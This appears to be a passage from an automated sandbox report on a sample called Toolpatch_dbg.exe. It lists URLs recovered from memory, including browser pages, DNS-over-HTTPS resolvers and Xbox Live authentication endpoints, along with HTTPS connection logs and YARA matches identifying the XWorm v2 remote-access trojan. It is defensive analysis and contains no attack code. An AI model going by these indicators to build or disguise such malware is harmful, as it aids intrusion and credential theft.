Source: Toolpatch_dbg.exe, 00000009.00000003.2032333819.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001084833.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983193366.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1974125101.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New
Source: Toolpatch_dbg.exe, 00000009.00000003.1986179227.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: Toolpatch_dbg.exe, 00000009.00000003.1957380720.00000000082B1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/wo
Source: Toolpatch_dbg.exe, 00000009.00000003.2019714153.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983846059.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1987629392.0000000002E9C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comAccess-Control-Expose-Headers:
Source: Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comcache-control:public
Source: Toolpatch_dbg.exe, 00000009.00000003.2071274420.000000000826E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comcache-controlpublic
Source: Toolpatch_dbg.exe, 00000009.00000003.2032910511.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089692033.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986704886.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comreport-to
Source: Toolpatch_dbg.exe, 00000009.00000003.2051637625.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2071733265.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2075470664.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2019448787.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2105687323.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1982012387.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comreport-to:
Source: Toolpatch_dbg.exe, 00000009.00000003.2071274420.000000000826E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2071274420.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comsec-fetch-sitesame-sitesec-fetch-modecorssec-fetch-destemptyrefererhttps://ntp.ms
Source: Toolpatch_dbg.exe, 00000009.00000003.2016936045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983846059.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comx-as-suppresssetcookie:1cache-control:private
Source: Toolpatch_dbg.exe, 00000009.00000003.1986704886.0000000002E96000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.comx-as-suppresssetcookie:1cache-control:public
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://odvr.nic.cz/doh
Source: Toolpatch_dbg.exe, 00000009.00000003.2053032937.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157492899.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2069648830.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955699547.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035032743.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983609829.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016851338.0000000008291000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://public.dns.iij.jp/
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://public.dns.iij.jp/dns-query
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://public.dns.iij.jp/r
Source: Toolpatch_dbg.exe, 00000009.00000003.2074506422.00000000082B1000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1985890001.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sb.scorecardresearch.com/b2?rn=1739637571971&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.
Source: Toolpatch_dbg.exe, 00000009.00000003.2071193527.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2074506422.00000000082B1000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091193020.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016936045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2127991752.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1985890001.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983846059.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159114916.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1958546360.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sb.scorecardresearch.com/b?rn=1739637571971&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.m
Source: Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983193366.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1974125101.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2000521150.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1954782559.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sn.com
Source: Toolpatch_dbg.exe, 00000009.00000003.2217785608.0000000008770000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: Toolpatch_dbg.exe, 00000009.00000003.2217785608.0000000008777000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Toolpatch_dbg.exe, 00000009.00000003.2217785608.0000000008777000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://t.ssl.ak.dynamic.tiles.virtualearth.net
Source: Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://titlehub.xboxlive.com/users/
Source: Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://user.auth.xboxlive.com/user/authenticate
Source: Toolpatch_dbg.exe, 00000009.00000003.1973282262.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2112908295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2088292872.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014641009.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2031791753.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048244608.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.cisco.com/c/en/us/about/legal/privacy-full.html
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: Toolpatch_dbg.exe, 00000009.00000003.1841793050.0000000008258000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Toolpatch_dbg.exe, 00000009.00000003.1841793050.0000000008258000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Toolpatch_dbg.exe, 00000009.00000003.2071193527.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091193020.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016936045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2127991752.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983846059.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159114916.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955879045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com
Source: Toolpatch_dbg.exe, 00000009.00000003.2217785608.0000000008770000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: Toolpatch_dbg.exe, 00000009.00000003.2217785608.0000000008777000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: Toolpatch_dbg.exe, 00000009.00000003.2217785608.0000000008777000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: Toolpatch_dbg.exe, 00000009.00000003.2217785608.0000000008777000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: Toolpatch_dbg.exe, 00000009.00000003.2217785608.0000000008777000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Toolpatch_dbg.exe, 00000009.00000003.2217785608.0000000008777000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.nic.cz/odvr/
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.nic.cz/odvr/har
Source: Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977130567.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.quad9.net/home/privacy/
Source: Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com/xsts/authorize

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.182:443 -> 192.168.2.7:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.182:443 -> 192.168.2.7:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50108 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 19.2.cmd.exe.57100c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm v2 samples based on characteristic strings Author: Sekoia.io
Source: 41.2.cmd.exe.52a00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm v2 samples based on characteristic strings Author: Sekoia.io
Source: 19.2.cmd.exe.57100c8.7.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm v2 samples based on characteristic strings Author: Sekoia.io
Source: 41.2.cmd.exe.52a00c8.7.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm v2 samples based on characteristic strings Author: Sekoia.io
Source: 50.2.MSBuild.exe.950000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm v2 samples based on characteristic strings Author: Sekoia.io
